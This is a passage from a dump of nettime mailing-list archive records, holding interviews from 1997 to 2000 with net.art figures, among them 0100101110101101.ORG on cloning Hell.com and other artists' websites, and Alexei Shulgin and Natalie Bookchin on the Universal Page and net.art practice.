                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200002121630.LAA31388 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0002/msg00094.html",
                "list": "nettime_l",
                "author_name": "Tilman Baumgaertel",
                "subject": "<nettime> Interview with Liza Jevbr"
            },
            {
                "content-type": "text/plai",
                "from": "Tilman Baumgaertel <tilman_baumgaertel {AT} csi.com>",
                "content": "\nInterview with 0100101110101101.ORG (Authorized, final version?\n\ngerman version at: \nhttp://www.heise.de/tp/deutsch/inhalt/sa/5572/1.html\n\nWe hope that somebody is going to recuperate us!\n\nInterview with 0100101110101101.ORG\n\n\n?: You got known in the net scene, because you made a complete copy of the\nart site Hell.com, and put it on your site. Tell me what you did exactly...\n\n0100101110101101.ORG: We are subscribed to the net.art list \u0084Rhizome\u0093.\nThere we heard that they would open a door to Hell.com for 48 hours, for a\nshow called \u0084surface\u0093. It was only for Rhizome subscribers, and you needed\na password to look at it. We had never seen Hell.com, but we had heard\nabout it, and we knew that it was the biggest museum of net.art.\n\nSo, during these 48 hours of opening, we downloaded all the stuff of their\nsite. This was not as simple as it seems, it took us 26 hours. Then we put\nit on our website and sent an e-mail with just the URL repeated hundreds of\ntimes to several mailing lists and newspapers. \n\n?: Did you get a reaction from Hell.com?\n\n0100101110101101.ORG. Yes, only two hours later, the people of Hell.com\nsend us, and to the company that is hosting our site in Canada, an e-mail,\nsaying that we were in copyright violation of all the artists and Hell.com\nitself, and that we had to take down the site immediately. They charged us\nwith international law of copyright... whatever. We didn\u0092t do anything, we\nleft it there, and it is still there.\n\nEverybody was talking about this action for weeks, so it created a public\ndebate that was a publicity stunt for us and, of course, for them too. We\nhad a huge amount of visits from all the people who wanted to see Hell.com,\nbut couldn\u0092t.\n\n?: Then again, if you have closed site, you probably don\u0092t want that much\npublicity. I am not so sure how these international laws, that you\nmentioned, could be executed, by the way. They could probably get your\nprovider to throw you out, but I think you are taking advantage of the fact\nthat you are dealing with some American artists, who can\u0092t afford to hire a\nbunch of lawyers to sue you in Europe. If you would have done the same\nthing with the site of CNN, they would have sued your ass of in ten\nminutes, and you would have taken the site down in no time...\n\n0100101110101101.ORG: You can always be more radical than you are. But that\nfor sure would be interpreted as an explicit political action, as an\nassault against something. But we are not against anything. We are not some\nkind of anarchists, that want to bring down web art. We just work with what\nwe find and try to transmit and propagate our ideas.\n\nThe thing with Hell.com now doesn\u0092t interest us anymore. We had only two\ndays, and when we saw it in the end it was so ugly, that we were very\nupset. If we would have known that it was so bad, we wouldn\u0092t have copied\nit! It\u0092s just a design exhibition. There is no idea behind it, no content.\nI rather agree with Duchamp\u0092s idea of non-retinal art. We present our work\nwithout computers, if yesterday there was no projector to show the website,\nit wouldn\u0092t be a problem, because our work is not supposed to be aesthetic\nbut ethic, based on contents.\n\n?: So what was the idea behind taking this site? To access a formerly\nclosed system, that was open only to a self-proclaimed elite, and make it\naccessible to everybody? \n\n0100101110101101.ORG: Yes, first of all was the feeling that Hell.com was\nexactly the opposite of what we think that the web could and should be, but\nthis is not really our own idea. That\u0092s what every hacker do. The\ndifference between us and hackers (in the popular and \u0084misunderstood\u0093\nmeaning of the word) is that we try to show that our kind of activism is\ncongenital to cyberspace, you don\u0092t have to be a \u0084hacker\u0093, because we have\nentered the \u0084infoware\u0093 age. Hardware and software ages are finished, now\nyou don\u0092t have to be an hacker anymore, you\u0092ve got enough tools to transmit\nyour ideas without \u0084technical abilities\u0093.\n\n?: So why this fixation on art? Why not do the same operation with the\nwebsite of CNN, for example? \n\n0100101110101101.ORG: If you take two normal objects, like these chairs for\nexample, and put them together, you create art. If you take two paintings\nof these chairs and put them together, it\u0092s something else, call it\nmeta-art, anti-art or activism. It\u0092s the same on the net. What is\ninteresting to us is not the creation of art, but the discussion and\nsubversion of art. We should call it \u0084artivism\u0093?\n\n?: So would you agree, that what you are doing is only of interest, or only\nmakes sense at all, because you are doing it within the art system? \n\n0100101110101101.ORG: If you do what we do with a work of art, the\noperation has a value in itself. If you work with contents that are not\nart, it becomes more difficult to distinguish the operation from the\ncontent. If you steal the CNN site, you are acting against CNN. There are\nmany people doing this kind of hacktivism, think of groups like RTMark and\nMongrel, and they are doing great things. But we are not interested in\ndoing this kind of hacktivism. We work on other contradictions like\noriginality and reproduction, authorship and network, copyright and\nplagiarism. You don\u0092t have to be explicitly political to do something\npolitical.\n\n?: So again, you do agree that these acts of recontextualization make only\nsense as an art practise?\n\n0100101110101101.ORG: Yes. In the beginning it was important for us to make\nthese ideas clear, because these are the presupposition of our way of\nthinking. Now we can change directions and work with other stuff. The New\nYork Times said it was against the commercialisation of net.art, but that\nwasn\u0092t our point at all.\n\n?: But the only pieces of yours that got talked about were your copies of\nHell.com and Art.Teleportacia by Olia Lialina, and they both had something\nto do with commercialisation of net art.\n\n0100101110101101.ORG: When we copied Hell.com it wasn\u0092t a pay-per-view site\nyet, it was just copyrighted and password protected. Anyway before Hell.com\nand after Art.Teleportacia we did a lot of clones of other people\u0092s sites,\nwe used to do \u0084hybrids\u0093 of the pages by other net.artists that had nothing\nto do with \u0084commercialisation\u0093.\n\n?: How is this different from, for example, Duchamp taking a picture of the\nMona Lisa and drawing a moustache on it? And all the other acts of\nappropriation and re-appropriation, that went on all through the 20.\ncentury, and especially in the 80\u0092s and 90\u0092s - with artists such as Sherri\nLevine, for example?\n\n0100101110101101.ORG: That is a good question. On the web you can do these\nkind of actions very freely, without destroying the original, because there\nis no original; it\u0092s not that we care that much about \u0084originals\u0093, not at\nall - in fact our off-line works were against \u0084originals\u0093 - but the\nparadigms of  the \u0084real world\u0093 are so rooted that you will never change\nanything, you\u0092ll always be the umpteenth anti-artist. On the contrary, on\nthe net, you feel that you can change something, you have the power of\ninfluence. This discussion on originality hasn\u0092t meaning any longer in the\nnet, Duchamp did it only with reproductions of works of art, we do it with\nthe works themselves since the copy in the net is exactly the same as the\noriginal. Everybody can use the data on the net. When we clone Jodi, we\ndon\u0092t destroy their work, we re-use it.\n\n?: Did they ever complain to you? \n\n0100101110101101.ORG: No. They must be upset, because we deconstruct their\nsite. In Jodi\u0092s site, for example, there is an index, but it\u0092s hidden, so\nit is very hard to navigate the site, and you get lost all the time just\nclicking and clicking. We just took the index and put it on the opening\npage, so that you can see exactly where the different parts and sections\nare. When you copy a site you learn a lot of things about its authors. You\nsee what the hierarchical and chronological order of the site is. It is\nvery interesting.\n\n?: So are you saying that you are basically teaching yourself how to be net\nartists by copying other people\u0092s sites?\n\n0100101110101101.ORG: No, we use them interactively. We don\u0092t think that\nclicking on a website is interaction. That is just doing what you are\nsupposed to do. It\u0092s not the work of art being \u0084interactive\u0093, it\u0092s the\nbeholder that can use it interactively.  Interaction is when you use\nsomething in a way that has not been predicted by its author. \n\n?: But that is in the nature of the web anyway. Anybody can look at the\nsource code of a website, and see how it has been done, and they don\u0092t need\nsome smart artist to do it for them... \n\n0100101110101101.ORG: We didn\u0092t invent anything, we only made it explicit.\nOf course, we don\u0092t claim any kind of copyright for our way of doing.\nAnybody can download whole sites. You just need some software, and you\ndon\u0092t have to be worried about copyright infringements. Our point is that\nthere is a different way of behaving towards the work. You can choose your\nattitude, or what you want to do with the piece. You are not obliged to\njust look at it. You have the tools to do something else.\n\nCloning is just one of the things you can do with these works. You can\nmodify them, you can add things, you can put them in a different order, you\ncan even destroy them,  you can do anything you want. We would like to see\nsome more of this kind of interaction on the net. Because the way net.art\nis developing now is really the same direction as the normal art scene. You\nhave artists with names and surnames, biographies and works, and they are\ngeniuses, and that\u0092s the surplus value of what they do.\n\n?: As far as I know, no net artist has called him- or herself a genius so\nfar...\n\n0100101110101101.ORG: But in thirty years they will be. Jodi will be called\nthe Leonardo da Vinci of net.art and Antiorp will be the Van Gogh and Vuk\nthe Warhol... Nobody thinks of himself as a genius. Or maybe, in thirty\nyears, if they hear it over and over again, they start to think: \u0084Well\nmaybe I am a genius for real!\u0093.\n\nThe point is that on the net, as well as in the real world, there is not\n\u0084geniuses\u0093, inspired by the muse, there is only a huge, endless exchange of\ninformation and influences. The \u0084knowledge\u0093 is only a big plagiarism. Even\nin the \u0084real world\u0093 there are a lot of people doing interesting things\nabout these topics, like Piero Cannata on Michelangelo and Pollock, like\nAleksander Brener, who created a new painting over the Malevich\u0092s one...\n\n?: ...and took away the possibility for people to look at Malevich\u0092 \u0084Black\nSquare\u0093...\n\n0100101110101101.ORG: Well, they can look at it in catalogues. \n\n?: Brener is considered to be this Anti-Christ of contemporary art now, the\nscary anti-artist. Where do you place yourself?\n\n0100101110101101.ORG: We don\u0092t consider ourselves \u0084artists\u0093 but\n\u0084beholders\u0093. We are not against art, we are not anti-artists. We have seen\nwhat happened to Dada or Surrealism and all the other historical\navant-garde, it doesn\u0092t matter if you call yourself an artist or an\nanti-artist, the only thing we care about are \u0084contents\u0093.\n\n?: So you might as well stop doing what you are doing, because it will be\nrecuperated anyway....\n\n0100101110101101.ORG: This obsession of \u0084being recuperated\u0093 is just a\nSituationists paranoia. If nobody gives a shit about what you do is not\nnecessarily because you are so radical, but more probably because you don\u0092t\nhave anything to say. Anyway if you meant \u0084recuperate\u0093 as \u0084becoming rich\u0093,\nwe hope that somebody is going to recuperate us!\n\n...................\nI think, \nand then I sink\ninto the paper \nlike I was ink.\nEric B. & Raakim: Paid in full\n\nDr. Tilman Baumgaertel, Hornstr. 3, 10963 Berlin, Germany\nTel./Fax. +49(0)30-2170962, email: tilman {AT} thing.de\nMY HOMEPAGE HAS MOVED!!! http://www.thing.de/tilman\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00064",
                "date": "Thu, 09 Dec 1999 17:00:31 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199912091513.KAA14917 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00064.html",
                "list": "nettime_l",
                "author_name": "Tilman Baumgaertel",
                "subject": "<nettime> Interview with Interview with 0100101110101101.ORG"
            },
            {
                "content-type": "text/plai",
                "from": "\"Steve Dietz\" <steve.dietz@walkerart.org>",
                "content": "email interview between Alexei Shulgin and Natalie Bookchin, January\n2000\n\n++++++++++++++++++++++++++++++++++++++++\n\nThe Universal Page [http://universalpage.org] is open for public\nviewing on the occasion of the Walker Art Center exhibition \"Art\nEntertainment Network/Let's Entertain\". Funded by the Jerome\nFoundation and the Walker Art Center, the project was first envisioned\nand is now being orchestrated by Natalie Bookchin and Alexei Shulgin.\nBoth are artists, theorists of the Internet and professors of\ncontemporary art and new media. Bookchin is an American based in Los\nAngeles, in the United States of America and Shulgin is a Moscow based\nRussian Artist.\nProgramming: Alexander Nikolaev, Fund of Perspective Research, Moscow.\n\n++++++++++++++++++++++++++++++++++++++++\n\nAlexei Shulgin: Dear Natalie,\n\nI know your background (as mine) was photography. How come you ended\nup in virtual space?\n\nNatalie Bookchin: Most of my education in photography began after\ngetting a job at a university as a professor of photography. I had\nalready moved away from photography a number of years before and was\nworking with installations using a variety of different media and\nmaterials, including embroidery, video, paper clips, and CD-ROM. But\nuniversities, like other institutions, lag behind individuals.\nUniversities have bureaucracies, budgets, and students who are paying\nmoney and often expecting a particular product. As the providers, we\noften perpetuate this exchange in order to survive economically, and\nsqueeze ourselves into the institutions' limited slots, trying to fit\nwithin or stretch the boundaries in which we are enclosed.\n\nMy move to virtual space was also initially stimulated by economics. I\nwas asked to teach a large lecture class called \"Introduction to\nComputing in the Arts\"\n(http://jupiter.ucsd.edu/~bookchin/syllabus.html)--and agreed to do it\nin part because I needed health insurance . . . another long story.\nThis class became my introduction to \"computing in the arts.\" I spent\nthe summer of 1997 online researching and preparing for this class and\nbegan running into work and activities of some artists that blew my\nmind. I didn't know anything about these people, but it turns out that\none of them was Alexei Shulgin and another was Heath Bunting.\n\nUltimately, I do not see my move and commitment to virtual space as\narbitrary. As a tool, I find the computer to be extremely useful and\nexciting. As a means of communication, the Internet is more powerful\nthan any other mediated tool that I have come across -- it allows for\nongoing, lengthy, and complex communication with fairly large\naudiences, and also allows for interventionist and disruptive new\ntypes of social and cultural activities for limited amounts of money\nand technical expertise.\n\nIn the past I was rather unfaithful to media. I was always suspicious\nof disciplines and over-specialization. Now, for the first time, I\nhave found myself remaining more or less \"faithful\" to a medium. This\nis not to say that I will not and do not work in other ways, and with\nother tools, but I do believe that the Internet and the computer are\nthe most important media of our times. The computer obviously isn't\neven a medium in the way that we used to think about the term. Even\nthis needs to be redefined. It is a \"meta-medium\": a simulation\nmachine, and in this way very hard to pin down.\n\nI think that because the computer and the net are reshaping most\naspects of our lives and redefining what it means to be alive today,\nit is crucial for artists and others to work in this space, to use it\nin unexpected and unintended ways, to question and work against the\nway that it limits our lives as well as to investigate ways that it\nmight be used to \"enable\" our lives.\n\nThese technologies have a strange, complicated, and quite ugly history\nthat continues in all its ugliness to this day. In part, because of\nthis curious and problematic history -- although I, unlike others,\nwould not want all artists and intellectuals to abandon their pens and\npaintbrushes and race to the keyboard -- this is where I am committed\nto be.\n\nAS: What do you mean here?\n\nNB: The ugly history of the computer, as we know, includes its\nmilitaristic origins and continued uses. Also, given the huge costs of\ntechnological development and now the great potential (and success for\nsome) at achieving enormous profits, this technology more often than\nnot falls into the wrong hands and leads to its consistent and rather\nsuccessful usage for social and economic control. Also, there is the\nproblem of the Internet in particular being seen as a viable\nsubstitute for real (physical) experience and human contact. And\nfinally, the computer can make real life appear as an abstraction. The\nmost dangerous and extreme example of this is the way that war and\ngenocide are presented as abstractions and simulations and are so\neasily removed from their real-world effects.\n\nOh, and I shouldn't leave out the current moment in this technology's\nstrange history, with the recent AOL/TimeWarner takeover as an example\nof the steady and continuous takeover of the Internet by gigantic\ncorporations.\n\nAS: Since the number of ideas that might come to human minds in a\nperiod of time is limited and the possibility of spreading information\non the Internet are almost unlimited, don't you think that \"art on the\nInternet\" will become (if not already is) very repetitive and\nplagiarist? In other words, too few ideas for such big space.\n\nNB: No, not at all; because I think that the Internet and its impact\non our lives is constantly changing, evolving, and growing.\n\nI do think, however, that the term \"art\" (as in \"art on the Internet\")\ncan be used to limit the impact of some activities in this medium.\n\nIt is at times wiser not to place ourselves or our activities into the\ncategory of art, as it can be used to justify and tame otherwise quite\nradical activities (although others are bound to place us there). The\nterm \"art\" can be used as a quick way to understand and justify an\notherwise complicated series of activities.\n\nAS: In official situations you usually present yourself as \"artist and\nprofessor.\" To make this list a bit longer, what definitions of\nyourself would you add?\n\nNB: When I am filling out official forms (for customs, health\ninsurance, etc.), I say I am a professor. Definitions are slippery,\nand depend very much on context. Dictionaries have to be updated\nregularly, and in this sped-up era, words and their meanings change\neven more quickly than they did in the past.\n\nAs for context, in certain situations I have defined myself as an\nartist. Other times I insist that I am not an artist at all but that I\nam an activist. There is a range of definitions in which my activities\ncan fall. Definitions -- just like language (and media) -- both limit\nand enable communication.\n\nAS: Is controversy between art and life painful for you? If so, how?\n\nNB: Do you mean separation rather than controversy? I'm not sure I\nunderstand your question.\n\nI do not know how to compartmentalize my life, so there is rarely any\neasy separation between art and life, unless it is forced upon me. Our\ncollaboration has been a very clear example of my limited ability to\nseparate art and life, and how the reality of our circumstances can\nmake this lack of separation painful (see\nhttp://easylife.org/between).\n\nThe Net can make it seem that we are very close in our work and\nactivities but cannot help us transcend the reality that you are in\nMoscow and I am in Los Angeles, and there remain enormous distances\nand disconnections.\n\nBut I do not mean to suggest that a separation between art and life is\nmy desired state of existence, because it is not. It's just that\nsociety is now structured to compartmentalize all aspects of an\nindividual's existence. Any sort of active resistance to a status quo,\nif it is taken seriously and lived out, cannot help at times being\npainful.\n\nAS: Did you ever consider stopping doing what you are doing and\nstarting something completely different?\n\nNB: No. I haven't considered this since I discovered the power of the\nInternet.\n\nAS: How do you see changes in notions of \"private\" and \"public\" on the\nInternet?\n\nNB: I see that these changes are profound and massive.\n\nAS: Eh, Natalie, you've started with long detailed answers and what is\nthis?\n\nNB: What is what?\n\nAS: I mean the short answers you just gave. Another coffee, maybe?\n\nNB: Exactly!\n\nI am going to make a coffee right this minute.\n\nWant some?\n\nHow are you?\n\nAS: Fine -- thinking about women.\n\nNB: Your questions required long answers.\n\nAS: Take your time.\n\nThe Universal Page is not the first project that you have done with\nAlexei Shulgin. Why is this collaboration so attractive to you?\n\nNB: I found this friendship and collaboration as a result of the\nInternet.\n\nIt is quite unique and also a product of our times that I have found\nthis kind of affinity with a man who grew up and lives on the other\nside of the world both geographically and ideologically. Before\nworking with Alexei I went through a number of unsuccessful\ncollaborative efforts.\n\nCollaboration has been extremely appealing to me, in part because I am\nmost interested in making complex and substantial connections with\nother people and least interested in work that is about self-analysis,\nexpression and self-promotion. In a successful collaboration, you have\nto leave behind narcissism and the isolated and heroic self quite a\nbit.\n\nAS: Why were they not successful? What have you learned from those\nexperiences?\n\nNB: I think that they were transitional collaborations. I was still\nholding on to older and more traditional ways of making art, which\nvery often goes against giving in to some of the more amazing results\nof collaboration.\n\nThey were collaborations made specifically for a museum or gallery\nspace.\n\nThis is not necessarily a problem, but I think that with collaboration\nyou have to remain open to the possibility that something other than\nwhat you are planning and expecting results from your activities, and\nthat includes where your results might end up and what form they might\ntake.\n\nAS: That's good, but don't you think that working with another person\nbrings limitations and leaves you less flexibility?\n\nNB: These days, my activities include working with a collective,\nworking with you, and working by myself. When I need a break from one,\nI move to another. Each one has limitations, and each one can bring\nunexpected and often quite exciting results. I would not want to give\nup one type of activity for another, and I am happy to report that I\ndon't have to! Each one satisfies, produces, and frustrates.\n\nAS: Don't you think that the way your Universal Page looks brings some\nsad thoughts, like there is no hope and meaning in all human activity?\n\nNB: You mean OUR universal page. No. If I thought that there was no\nhope and meaning in human activity, I would retire (or worse.) I think\nprovocation is different than nihilism.\n\nAS: Please change this for the record. What provocation?! We did it\nwithout knowing results . . .\n\n[ The Universal Page http://universalpage.org/ is the objective\naverage of all public content on the Web merged together as one. A s\nscript crawls and searches the entire Web, analyzing and processing\ncurrent data and generating an average according to precise\nalgorithms. The Universal Page is a pulsating, living monument\ncommemorating no single individual or ideology but instead,\ncelebrating the global collective known as the World Wide Web. ]\n\nNB: True, but I won't change this for the record unless you can do a\nbetter job\nof convincing me!\n\nAS: Dear readers of this text . . .\n\nWhat are we doing now? Trying to talk or presenting ourselves for\nother people? Don't forget about the honorarium: we have to deliver an\ninteresting text!\n\nNB: Sad thoughts can lead to new ideas and activities. I think that\nthe Universal Page signals the end of a particular set of activities\non the Web -- the artist's Web page -- and asks for a new type of\nactivity. It is the LAST Web page. The ULTIMATE Web page.\n\nAS: ??? It's not an average of artists' pages, it's all the Internet.\n\nNB: Yes, of course, but it ends up as artists' Web pages, of sorts.\nAnd it is being shown in the context of an art museum. I think there\nare some similarities in this work to our essay \"An Introduction to\nnet.art 1994-1999\" (http://easylife.org/netart/) in that it can be\nseen as a manifesto and a plea for movement. Our project could be\ninterpreted as a very cynical statement. but that would be a\nsuperficial reading of it.\n\nAS: What would be the profound reading of the project?\n\nNB: It is (like you and me) a mixture of intense belief and hope in\nthe possibilities of this new medium (and in art in general), together\nwith a strong distrust of and frustration with its extensive hype and\nits numerous failings.\n\nIt is also a comment on the cultural loop: the constant swallowing up\nof \"avant-garde\" practices by institutions and our constant (and\nnecessary) attempts at resisting this assimilation. It is about the\ndangers of making universal statements and the importance of\nspecificity.\n\nIt is as I said before -- a provocation.\n\nToday, beginning and ending with a Web page is no longer enough. The\nconversation that follows and the activities that it stimulates or\nencourages are what is important. We have yet to see the results. We\ncan only hope!\n\nAS: And where will we go after it?\n\nNB: This is a key question. One place to go is to RTMark\n(http://rtmark.com). But there are many other places needed. And not\nrtmark.com as the beginning of a genre. I am not looking for that at\nall.\n\nAS: What are you going to do next?\n\nNB: After the (http://calarts.edu/~ntntnt) series ends at the end of\nMay, I am going to be working on a number of computer games. RTMark\nand I are going to be working on a game using artificial life whose\nworking title is The Genetic Game, although I am sure this will\nchange, and I am going to be turning my game The Intruder into a\nfreestanding arcade game (see http://calarts.edu/~bookchin/intruder).\n\nAS: The genre of game seems to be important for you. Why is that?\n\nNB: I want to work with a genre that has mass popularity. Many people\nplay computer games. Very few people look at net.art. I want to have\nsome access to this audience of game players. Computer and video games\nare both enticing and problematic. Computer games are used to justify\nwar and genocide and to teach this way of thinking. Lovers play games.\nI like the metaphor of gaming to discuss real life: love, politics,\nwar, gender, storytelling, and death.\n\nAS: How do you see role of an artist in the modern world, and how has\nit changed since the emergence of new informational paradigms?\n\nNB: The role of the artist is both necessary and irrelevant -- a\nmassive contradiction (a mass of contradictions). I think it is\nimpossible in this era for our lives not to be filled with\ncontradictions. Also, I think it is important to admit to these\ncontradictions and to reject the myth of purity. There is no\npossibility of purity anymore.\n\nPart of what can save us from getting too tangled up in this is to\ncontinue to be open, to move and change. No final solutions for me!\n\nIf you can forgive me using such a simple metaphor, I think that the\ninability to fix digital information is similar to the inability to\nfix our roles and activities today.\n\nAS: I think it's a very good one. and it gives an answer to the\nquestion \"Why do artists get on the net?\"\n\nSeems like your life had reached a very high level of activity and\nemotionality. Aren't you afraid of loosing all your energy and having\na deep nervous breakdown after that?\n\nNB: Yes.\n\nAS: How do you protect your sanity?\n\nNB: I don't know, but I'm open to suggestions.\n\nAS: You know my inspiration page\n(http://www.easylife.org/inspiration). Shall I make another one asking\nfor people's suggestions about protecting sanity for a superactive and\nemotional artist?\n\nNB: It is an appealing suggestion but I am afraid that there is not\nreally a solution. This is the time for superactivity. I am only doing\nit because I need to. I think that I can protect my sanity by knowing\nthat there will be a time for inactivity following this period of\nhyperactivity.\n\nAS: Why is this the time for superactivity?\n\nNB: Because there are vitally important things that need to be done. I\nwas rather confused by your inspiration project, for example, because\nI cannot imagine the experience of boredom at this moment. Things are\nchanging so fast, and I think we need to act and resist total\ncorporate, technological, and institutional takeovers.\n\nBesides, there are many exciting things to do that have nothing to do\nwith obvious acts of resistance, but simply with creating and\ninventing and playing.\n\nMaybe your reaction to this speed was to temporarily shut down and\ninterpret that as boredom?\n\nAS: Perhaps. I think that things are changing so rapidly that it is\nvery difficult to observe and understand these changes. It's easy to\nget lost; information becomes just a noise. But I also wanted to\nprovoke some reaction from people -- similar to yours -- and try to\nunderstand what is going on.\n\nNB: Did it help?\n\nAS: Too early to say, but I've found correlations to some ideas of\nmine.\n\nNB: I have to admit that I look at your inspiration page quite often.\nAlso, I occasionally add to it. Even if I cannot find any solution\nfrom the submissions, it is more a matter of it always being a\npossibility -- i.e., it is about the desire, not the answers.\n\nI am thinking of taking a bath now. Should we continue?\n\nAS: Should we continue after the bath?\n\nNB: Should I look at my answers and elaborate? I answered you quite\nquickly and could probably revise and or elaborate.\n\nAS: OK, take a bath, think on texts. I'm feeling like going to sleep\nnow. Send me stuff. I'll continue tomorrow when I get up. OK?\n\nNB: Good night. Sweet dreams. Talk to you later.\n\nxn\n\nAS: Have a nice day!\n\nXa\n\n+++++++++++++++++++++++++++++++++++++++++\n\nhttp://www.universalpage.org\nhttp://calarts.edu/~bookchin/\nhttp://www.easlylife.org\nhttp://aen.walkerart.org\nhttp://www.walkerart.org/gallery9/jerome/\nhttp://www.walkerart.org/gallery9/universalpage/\n\n----------------------------------------\nSteve Dietz\nDirector, New Media Initiatives\nWalker Art Center\nsubscribe Webwalker:\nhttp://www.walkerart.org/gallery9/webwalker/\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "id": "00092",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0003/msg00092.html",
                "to": "<nettime-l@bbs.thing.net>",
                "message-id": "LBBBLFAOHIAPKNKFKEOJMEIACJAA.steve.dietz@walkerart.or",
                "date": "Tue, 7 Mar 2000 03:00:13 -0600",
                "list": "nettime_bold",
                "author_name": "Steve Dietz",
                "subject": "[Nettime-bold] shulgin_bookchin interview - universal pag"
            },
            {
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "content": "\nThis is a short interview made with Alexei Shulgin made in Januari\n1997, at the secret conference on net.art in London. We were both tired\nand distracted by the surroundings, sitting in a corridor of a pub,\npeople passing, talking loud... Still it contains some information\nthat might add to the net.art thread here in nettime. Quotes from it\nwill be used for a piece on net.art later.\n\n**\n\nJB: What do you do in general?\n\nAS: In general I do various actions, almost all of them are somehow\nrelated to what is known as art. Almost all last year I was involved\nspecifically in the net, but I work outside the net as well.\nMy background is more traditional artforms. I started with photography,\nthen made installations, objects. I curated exhibitions in real space.\nLittle by little I moved towards the net. Still I am considering I have\nto have some way out of it and that I must keep my contacts in the real\nworld.\n\nJB: You posted a kind of manifesto against professionalism on nettime,\nwas that against professionalism in general or only for the artscene?\n\nAS: Actually it was not against professionalism, I even don't know\nwhether it was against anything. I wrote it in the form of a manifesto\nto be more clear about what I was going to say, though some statements\nlook or seem very strong, they were not meant this way. It had to do\nwith this form. What I wrote is an appeal to artists not to become too\nsofisticated in their skills, not to become masters, because since you\nbecome very devoted to what you are doing you turn into a slave of your\nmedium and the picture of the world you have becomes very narrow.\n\nJB: You wrote the manifesto came from your heart, that it was not an\nacademic piece..\n\nAS: It was a reflection of my mental and spiritual state at the time.\nIn general I would never make strong statements and strong expressions\nbecause how can you be sure that you are right. You can never be right\nin what you're saying and what you're doing. Sometimes if you want to\nsay something you have to temporarily forget about this dilemma.\n\nJB: It seemed a bit of a paradox that you ask people not be skillful\nwhen they have to work with new media, with technology that needs\nquite some skills.\nWhat do you think of that?\n\nAS: I can't agree with you because pc's or what people are working\nwith today have very nice interfaces and the software we are using\ncan be very simple. Of course many artists go into very complicated\nstuff like Shockwave or RealAudio. They go into software that really\nrequires a lot of skills and knowledge, but my general idea is what\nwe have with net.art is we have a sort of shifting paradigm in art\nfrom the idea of representation to the idea of communication. For\ncommunication you don't need a lot of skills. You can use very simple\nsoftware, which is widely available. To create webpages you should\njust know the html language which is very simple. You don't have to\nknow a lot, its not necesary.\n\nJB: Lets just move on to net.art then. So on the one hand you have\nthis simple technology that people can make beautiful artpieces with.\nOn the other hand there is this sofisticated artworld that is in need,\nthat is hungry for new talent, and which of course is also hungry to\nshow that it knows what is new and what is the freshest. And it wants\nto get some net.artists into their galleries. What do you think will\nhappen?\n\nAS: You never know what is going to happen. But I think this year will\nbe sort of crucial for what is called net.art, because now we see\nallready a lot of attention coming from  traditional art institutions\nto net.artists. This year we will see a lot of exhibitions and projects\nrealised in the traditional gallery and museum spaces. On the other\nhand what we have with the net and what we never had before, is that\nyou can not only produce your work, but also distribute it without the\nthird side, without somebody between you and the audience, because the\nnet itself is a global network. I think we will have two trends in the\ndevelopment of net.art. One is that some big stars of net.art will be\nemerging, having expensive exhibitions in galleries, selling their\nworks.\nOn the other hand we will have a lot of, I would say, underground\nnet.activity, which is at the same time not underground anymore because\nit can be distributed worldwide. I have no clear idea what we will come\nto in the end, but I think it will go in these directions.\n\nJB: So something from the underground that in the old situation would\nmost possibly disappear into oblivion after a while now will have\nglobal reach.\nWhat effects could that have?\n\nAS: First thing I see, is that its now really interesting and makes\nsense to make some kind of independent and underground activity,\nbecause you in the end publish it on the net. Through the net I see\na lot of cases of people finding somebody with similar views, similar\nideas and creating international societies, international social groups\naccording to their interests. It not just happens in the art scene,\nits with everything. The problem of inclusion or exclusion is not so\nimportant today, also because of the general decline of the traditional\nart market system. Of course artists want money, but besides money\nthey want to bring the result of their work to people and now this is\npossible.\nI can say that when I started to do net.works, for me it was kind of an\nescape or way out of the traditional artsystem I was involved in for\nsome years. I had really very bad experiences in it, not only as an\nartist but also as a representative of a national or international\nminority because I am living in Moscow and things are different there.\nWhatever I did as an artist was always contextualised as something\nspecific russian, coming from Russia. The artsystem is very strong and\neverything is very much fixed in it, so there are special niches for some\nminorities. I would have to move to the west and start some career again\nor I don't know what I would have had to do. To always be treated as a\nrussian artist was not interesting at all.\nThe net appeared to be a temporary good solution. In what I am doing on\nthe net nobody cares if the signal comes from Moscow or from whereever.\nI can put my files on an Amsterdam server or in NewYork, it doesn't\nmatter.\n\nJB: What kind of things do you do?\n\nAS: I first started with a adaptation of my previous video and media\nworks to the net, so net.versions of what I was doing in video before.\nThis was also connected to my net.curatorial activity. I worked with\nsome other Moscow artists and realised their projects on the net. Little\nby little I got involved in some international communication around the\nnettime list. I have become aquainted with other peope who share some\nof my ideas and who do some artwork that I personally like.\nWhat we have now is some group of net.artists that apreciate eachother\npersonally and like eachothers works. We began to do things together.\n Last year we did some projects of this kind\nand I think the project that received the most attention was Refresh.\nIt was initiated by me, Andreas Broekman, who works at V2 Rotterdam\nand is not an artist, and Vuk Cosic from Ljudmila Media Lab, Ljubljana,\nSlovenia. The idea of this project is to create a loop of pages that\nautomatically switch from one to another. Its possible to make because\nof a specific function of html language for creating webpages, which\nallows you to program pages which can jump or be subsituted by some\nother page without your intervention. The idea was that all these pages\nare based on different servers through the world.\nIts a very ambiguous project because when you look at it you see one\npage coming after another. The idea that the signal always comes from\nsome other point on earth may be the content of this project, but what\nwas interesting for me specifically.. I was sort of the administrator\nof this project, I was responsible for its functioning. It was\nincredibly interesting to work with the people, to force them to do\nsomething for the benefit of the whole project. The general idea of\ncourse is that this thing should work. It should not stop on somebody's\npage because of too much data put on it or because of some sofisticated\nscripts people would use. We had to find some compromise between peoples\negoistic and creative ideas and the sake of the general thing.\nWe first started between the three of us: Rotterdam, Moscow and\nLjubljana, and now we have about thirty pages in this loop.\nWhat also is interesting, since most of the information is placed on\nother servers which I don't have access to, I can't really control it.\nSo we just initiated it and now it grows according to its own rules.\n\nJB: Yesterday you said you are very emotional. What kind of 